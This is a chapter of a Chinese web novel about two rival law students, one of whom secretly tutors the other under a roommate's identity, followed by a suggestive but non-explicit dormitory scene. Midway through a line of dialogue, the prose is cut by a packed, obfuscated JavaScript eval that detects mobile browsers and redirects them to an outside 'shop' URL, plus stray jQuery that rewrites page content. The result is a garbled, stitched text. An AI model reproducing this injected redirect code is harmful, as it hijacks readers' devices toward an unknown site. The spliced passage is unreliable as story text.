看见对方回复一个“嗯”,谢熠慢半拍意识到刚才反应太大,懊恼三秒又赶忙在后面补充一句。
aaa宇宙暴帅哥:【你别误会,上面我都是跟你开玩笑的哈哈,你信不?】
这话太突兀,谢熠赶紧转移话题。
aaa宇宙暴帅哥:【我记得你家不是做金融方面吗?高三还报金融专业来着,怎么突然转法了?难不成方便偷税漏税啊?】
季忱没仔细深究对面的人,如实回答。
。:【没有,我不喜欢金融。转法,单纯是因为我母亲以前也是位律师。】
aaa宇宙暴帅哥:【现在不是了?】
。:【嗯,她去世很久了。】
aaa宇宙暴帅哥:【抱歉,我不是故意提起这个。那你从零开始学,很难的,而且你又不善与人交流,跟个闷葫芦一样,被人欺负也不还手,是为什么?】
。:【因为父亲。我从小被很多人巴结,说话处事全代表父亲,稍微出错就会影响他名声。有时候不说话,不回应,反而最安全。】
【这次转学并非他意,如果再扯上他,想必双方都会闹得难堪。我跟他父子关系向来不好,也不想与他过多争论。】
【抱歉,对你说了些无关要紧的事情。】
谢熠迟迟没有回复。
他一直认为季忱是活在云端的大少爷,却忘了他也是在无数审视下成长的人。
像季忱这类人,哪怕什么都不做,就会有源源不断的恶意和嫉妒涌来。
怪不得那天小组讨论脸色那么差,应许刚从父亲那边过来。
谢熠看得出来季忱不想走。
不仅是出于母亲职业,更像是某种自我宣誓。所以才会把自己泡在图书馆里,近乎自虐地学习。
但法学不是光靠埋头苦读就能成的。
谢熠叹了口气。
要是有人能指点他,成绩肯定不会差。
巧了,他正欠人家一句道歉。
直到屏幕熄灭,谢熠依旧保持僵直的姿势。
他躺在床上盯着天花板,安静许久,期间耳边持续不断传来方沅开麦声。
谢熠并没生气,他揉了揉发酸的眼睛,重新点进对话框。
aaa宇宙暴帅哥:【季忱,你想赢吗?】
。:【想。】
这个“赢”字没有特定事件人物,季忱却回复得毫不犹豫。哪怕对话框对面是方沅,哪怕只是一时口嗨。
aaa宇宙暴帅哥:【我好歹比你多学一年,加上谢哥平时没少给我开小灶,肚子里也算有点干货。只要你不嫌弃,让本大爷也辅导辅导你?】
。:【不用。我和谢熠不合,要是让他知道你与我有关系,肯定会找你麻烦。】
啧。
谢熠看着这句话,莫名的烦躁又冒出来。
这人怎么总是这样?明明有捷径,明明需要帮助,第一反应老是先替别人考虑,永远怕添麻烦。
aaa宇宙暴帅哥:【赌约还没结束,你拒绝无效!而且高三要不是你,我可能就考不上A大。至于谢哥……他肯定不是故意伤害你的,别怪他。】
。:【我从来没怪过他。】
谢熠对着屏幕翻了个白眼。
我信你个鬼。
aaa宇宙暴帅哥:【那就这么定了,不过得瞒着谢哥,只能晚上我打电话给你,不然被他发现,我会死得很惨。】
关于辅导这件事,谢熠挺有把握,还完这点恩怨,他俩算彻底断干净。
不过真是便宜方沅那小子,只希望日后季忱赏赐他好处时,能分点给自己。
看着床下吱哇乱叫的方沅,谢熠反手拿着枕头朝他砸去,精准爆头。
听见下传来某人痛叫声,谢熠翻过身背对着他,身体呈弯弓,将脸埋进被子里,肩膀轻微耸动几下。
-
A市的暴雨终于迎来停歇,连万里无云的夜晚都难得出些星光。
接下来一段时间,谢熠白天上课,晚上小组讨论,凌晨还要抽空给季忱补习。
说他是二十一世纪劳模也莫过于此了。
好在季忱脑子好使,学得快,省心不少。
辅导初期,两人闹过不少乌龙。
比如路上只要季忱碰到方沅,眼神总带着若有若无地感激,要不是他特地强调,季忱真会走上来道谢。
遇到这种情况,谢熠都会找各种借口拉着一脸懵逼的方沅落荒而逃。
方沅事后认真思考过:季忱是不是暗恋他?
谢熠当场想掐死他。
电话辅导当晚,谢熠从浴室出来,头发还湿着,也懒得擦干,胡乱用毛巾揉了几下,舒适地躺在床上,取出蓝牙耳机,确保无误后,摁下拨打键。
季忱今晚的声音比往常沙哑许多,透过电流传入变得更温柔。
季忱:“抱歉,家里耽搁了点事,可以开始了。”
谢熠敲下“没事”,便开始讲解今晚的重点。
辅导他一周时间,季忱进步肉眼可见飞速。不仅将去年基础知识全背熟,还能举一反三,逻辑思维更加完善敏捷。
长得好看,家境优渥,天赋过人,还肯下死功夫。
谢熠把脸埋进枕头里,听着耳机里传来笔尖的沙沙声,闷闷地想:活该人家能超过自己。
久久没收到短信,季忱轻声问:“方沅?这点我没太懂……”
aaa宇宙暴帅哥:【刚回来。这个案件不能单看表面,要结合……】
谢熠其实讨厌给人辅导,他嫌麻烦,更讨厌对方心思不在题目上,白白浪费自己时间。
高三时班主任安排过一对一帮扶,他总能找出十万八千个理由推掉。
但辅导季忱不一样。对方能迅速跟上他的思路,节奏快而高效,提出的疑问正是他所缺的观察角度,让他自己也获益匪浅。
讲几分钟后,对面忽然轻哼笑了一声。
谢熠愣住。
aaa宇宙暴帅哥:【?】
季忱声音带着一丝无奈:“有时候,我真的会恍惚,觉得现在和我说话的人……是谢熠。”
谢熠:“……”
季忱顿了顿:“开玩笑的。谢熠不会这么好心,更不会辅导我。如果我这学期倒数,他估计高兴都来不及。”
aaa宇宙暴帅哥:【你怎么知道……万一他脑子抽了,希望你进前三呢?】
季忱轻轻“嗯”了一声,“那我要好好庆祝,毕竟炸药桶还有良心,值得普天同乐。”
谢熠:“……”
我是给他脸给多了?
话还没回完,电话那头传来敲门声,声音不大,像刻意试探房间人睡了没。
季忱说句“稍微”后便放下手机,他脚步声很轻,然后是开门的声音。
一道温柔成熟的女声隐约传来,似乎在叮嘱他早点休息,别太累。
谢熠记得季忱说过他母亲已经去世。
那这位是?
后面的事谢熠没仔细听,他想等季忱处理完家事再继续时,耳机里毫无预兆响起一道尖利的少女声音。
“哥哥才不会有女朋友!哥哥只能是我的!”
季忱有妹妹?为什么从来没听他提起过?
谢熠手指一僵
算了,我跟他之间连正常对话都屈指可数,不知道也很正常。
-
模拟法庭日期临近,整个法学院图书馆开门即没座,就连空气都带着紧张不安感。
谢熠为了保三争一,只要人不死,就把组员往死里练。
连续一个月高强度学习,方沅圆脸都瘦出尖下巴,杜烨明和另一个组员更是肉眼可见地憔悴。
学校真怕同学被熬死,特意在开庭前几天调为休息日,让大家喘口气放松。
A大男生宿舍是栋老楼,岁月痕迹很重,每个宿舍门都有点毛病。就单谢熠宿舍而言,风大点都能把门带上,为了不被锁在外面,他们都自觉配把钥匙。
这段日子谢熠熬夜熬得狠,方沅怕他哪天醒不来,再三强调让他今天在宿舍补觉,自己去食堂打包鸡汤补补。
一路上方沅哼着小曲,走到宿舍门口,他习惯性摸了摸口袋,眉头紧皱,再往里掏掏。
空的。
方沅犹豫半天,决定放下面子,将脸贴在冰凉的门板上,捏着嗓子朝里喊:“谢哥,睡着没?我是方沅呐,我给你带了鸡汤,大补!就是钥匙忘带了,你要醒着的话……”
还没说完,门突然被从里面猛地拉开。
谢熠顶着一头乱毛站在门口,睡衣歪斜,露出一截白皙紧实的腰腹。
他半眯着眼,满脸写着睡觉被打断的杀气,盯着那张嘿嘿笑的脸,没忍住打了个哈欠。
方沅:“哥你没睡啊?”
谢熠声音沙哑,带着浓重的鼻音:“本来睡了,听到门外有男鬼索命,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584192|205166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吓得赶紧起来看看。”
方沅干笑两声,献宝似的举起鸡汤:“谢哥,过几天就开庭了,作为队长虽帮不上大忙,但我特意让食堂阿姨炖了鸡汤给你补补!”
他凑近些,八卦兮兮地说,“你知道季忱没?听说他一个月就把落下的课程全补上了,也不知道是哪位神仙在背后指点……简直快赶上咱们了。”
谢熠对此事漠不关心,夹了块鸡肉塞进嘴里:“所以呢?”
见他没有表现出反感,方沅一口气把打探到的消息全告诉谢熠:“所以我觉得,季神这次真有可能杀进前三,一雪前耻!”
谢熠吃得倒香,喝完最后一口汤,把饭盒塞回方沅手里:“说完了?昨晚四点才睡,要没事我就上床睡觉了。”
“谢哥你……真是一点都不关心他,好歹同学一场。”方沅欲言而止。
方沅离开后,宿舍只剩谢熠一个人。
他用被子蒙住头,躺了半小时,睡意全无。
最近压力太大,他每天两点一线高压学习,根本没空管理身//体。
……
谢熠对待自己从不温柔,动作甚至称得上粗暴。
隐约听见屋外传来脚步声,他并没在意,几秒后,敲门声随之响起。
念头硬生生被卡在半途,谢熠烦躁地皱紧眉,目光再次扫向门口。
以为是方沅猪脑子又忘带钥匙,他忍着脾气将衣服穿好,带着一身不爽抓起钥匙开门。
“我说方沅,你要是再不长记性就把脑子捐给别……人……”话骂到一半,戛然而止。
谢熠僵在门口。
门外站着的不是方沅。
季忱穿着一身整洁的衬衫长裤,怀里抱着几本书,正抬手准备敲门。
门突然打开,他也愣了一下,目光下意识地落在谢熠身上。
凌乱的发丝下,双颊泛着绯红,半敞的睡衣领口间,锁骨有明显汗渍。
谢熠上半身大片裸//着,短裤低得不堪入目,腿根还有一抹淡红,怎么看都像刚做完不可见人的事。
两人面面相觑,谁也没开口。
季忱瞬间明白自己撞破什么。
他本能地后退半步,脸上闪过罕见的慌乱,抬手抵在唇边,轻咳一声:“抱歉……我好像,来得不是时候。”
说完,他转身就想走。
谢熠脑子比嘴快,一声喝住:“站住!你怎么在这?”
季忱垂着眼,不敢往他身上多看:“快开法庭了,我是来找方沅的。他如果不在,我改天再来。”
一个月不见,谢熠比开学更消瘦了。原本合身的衬衫肩线处空落落地松垮,眼下黑眼圈明显,蒙着一层倦色。
两人已经绝交,此刻他衣冠不整,季忱不想有太多不必要的牵扯。
“是吗?”
谢熠没觉得多不好意思,身体放松地倚在门框上,任由上衣随着动作滑开,露出更多腰线。
他故意歪头,调戏笑道,“我最近可没少听方沅夸你。你该不会暗恋方沅吧?不然还特意找到宿舍来?”
季忱皱眉:“我不喜欢他,只是出于感谢。”
谢熠:“感谢什么?
“……”季忱抿紧嘴唇,别开脸。
他答应过“方沅”,要保密。
谢熠更来劲了。
他抱着手臂,欣赏对方难得一见的窘迫。
“季同学,你耳朵怎么这么红?天气又不热,”谢熠笑得坏透,“不会是看到我没穿裤子害羞吧?季同学原来这么纯情吗?”
季忱一时语塞,声音更些绷紧:“没有。是你大白天不穿好衣服,在宿舍过于……明目张胆。”
“我是正常男人,做点正常男人都会做的事,有什么问题?”谢熠很喜欢看他为难的模样,忍不住继续调戏,“季忱,你也是男人,私下肯定也会……”
见这人越说越离谱,手指就快碰到他。
季忱想都没想,重重拍开那只不规矩的手。
“我没你那么欲不可求。”
他力道不轻,谢熠手臂上迅速浮起一片红痕。
见状,季忱又不好意思地道歉。
谢熠紧盯着红印没有说话,眼里闪过季忱看不懂的情绪。
他缓缓抬眼,故意凑近季忱耳畔说话。
“我说,季同学。不会说话就把嘴闭上,说什么欲不可求,该不会是你自己早泄吧?这可是病,得治。”